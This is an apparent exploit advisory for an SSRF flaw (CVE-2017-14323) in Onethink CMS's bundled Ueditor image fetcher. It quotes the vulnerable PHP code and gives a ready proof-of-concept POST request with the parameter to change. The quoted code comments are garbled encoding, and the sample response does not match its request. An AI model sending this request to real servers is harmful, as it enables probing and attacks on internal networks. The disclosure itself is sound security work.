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Onethink CMS Server Side Request Forgery

Onethink CMS Server Side Request Forgery
Posted Apr 6, 2018
Authored by Jiawang Zhang, Qian Wu, Bo Wang

Onethink CMS versions released up to date 2018/04/06 suffer from a server-side request forgery vulnerability.

tags | exploit
advisories | CVE-2017-14323
MD5 | 37fbf6905231e41dc7ab8bbf92cf136c

Onethink CMS Server Side Request Forgery

Change Mirror Download
# SSRFPS"Server Side Request ForgeryPS(c) in Onethink  All version (CVE-2017-14323)

The Onethink is an open source CMS(Content Management System).This system is based on the Thinkphp3.2 development framework.

## Product Download: http://www.onethink.cn

## Vulnerability TypePSoSSRFPS"Server Side Request ForgeryPS(c)

## Attack Type : Remote

## Vulnerability Description

Onethink uses a Ueditor editor with a flawed version that causes the SSRF vulnerability to occur.

The vulnerability codePS"/Public/static/ueditor/php/getRemoteImage.phpPS(c):

$uri = htmlspecialchars( $_POST[ 'upfile' ] );
$uri = str_replace( "&" , "&" , $uri );
getRemoteImage( $uri,$config );
//echo($uri);

/**
* OP3IxY=E!
* @param $uri
* @param $config
*/
function getRemoteImage( $uri,$config)
{
//ooAOxY=E!E+-1/4aIThOAE
set_time_limit( 0 );
//ue_separate_ue ueOAOU'<<uUEy3/4U*O,i*uoA
$imgUrls = explode( "ue_separate_ue" , $uri );
$tmpNames = array();
foreach ( $imgUrls as $imgUrl ) {
//http?aI*NeO$?
if(strpos($imgUrl,"http")!==0){
array_push( $tmpNames , "error" );
continue;
}
//echo($imgUrl);
//>>nE!CeCoI*
$heads = get_headers( $imgUrl ); //This is a blind ssrf
//EAA'1/4i2a
if ( !( stristr( $heads[ 0 ] , "200" ) && stristr( $heads[ 0 ] , "OK" ) ) ) {
array_push( $tmpNames , "error" );
continue;
}

//,nE1/2NeO$?(A(c)O1AuNeO$?oIContent-TypeNeO$?)
$fileType = strtolower( strrchr( $imgUrl , '.' ) );
if ( !in_array( $fileType , $config[ 'allowFiles' ] ) || stristr( $heads[ 'Content-Type' ] , "image" ) ) {
array_push( $tmpNames , "error" );
continue;
}
//var_dump($tmpNames);

//'o?aEa3o>>o3aCo2C/>>nE!OP3II1/4AE!
ob_start();
$context = stream_context_create(
array (
'http' => array (
'follow_location' => false // don't follow redirects
)
)
);
//CeE*+-PSphp.iniODuAfopen wrappersON3/41/4$?>>i
readfile( $imgUrl,false,$context); //vulnerability is here,request any http(s) url
$img = ob_get_contents();
ob_end_clean();

## Exploit

Request Content:

POST http://target/Public/static/ueditor/php/getRemoteImage.php HTTP/1.1
Host: target
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 37
Connection: keep-alive

upfile=https://www.google.com/?%23.jpg

Response Content:

HTTP/1.1 200 OK
Server: nginx
Content-Type: text/html; charset=utf-8
Content-Length: 110

{'url':'upload/43361505134158.jpg','tip':'OP3II1/4AE!xY=E!3E1|PS!','srcUrl':'http://www.baidu.com/?#.jpg'}

modify the above upfile parameterPS!example:

request http protocol: upfile=http://www.google.com

request https protocol: upfile=https://www.google.com

This vulnerability only use http!C/https protocol

this vulnerability trigger need allow\_url\_fopen option is enable in php.iniPS!allow\_url\_fopen option defualt is enable.
## Versions

Onethink all version

## Impact

SSRF(Server Side Request Forgery) in Onethink V1.0 and V1.1 version allow remote attackers to information detection,internal network server attack.

## Credit

This vulnerability was discovered by Qian Wu & Bo Wang & Jiawang Zhang & National Computer Network Emergency Response Technical Team/Coordination Center of China (CNCERT/CC)

## References

CVE: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-14323



service@baimaohui.net


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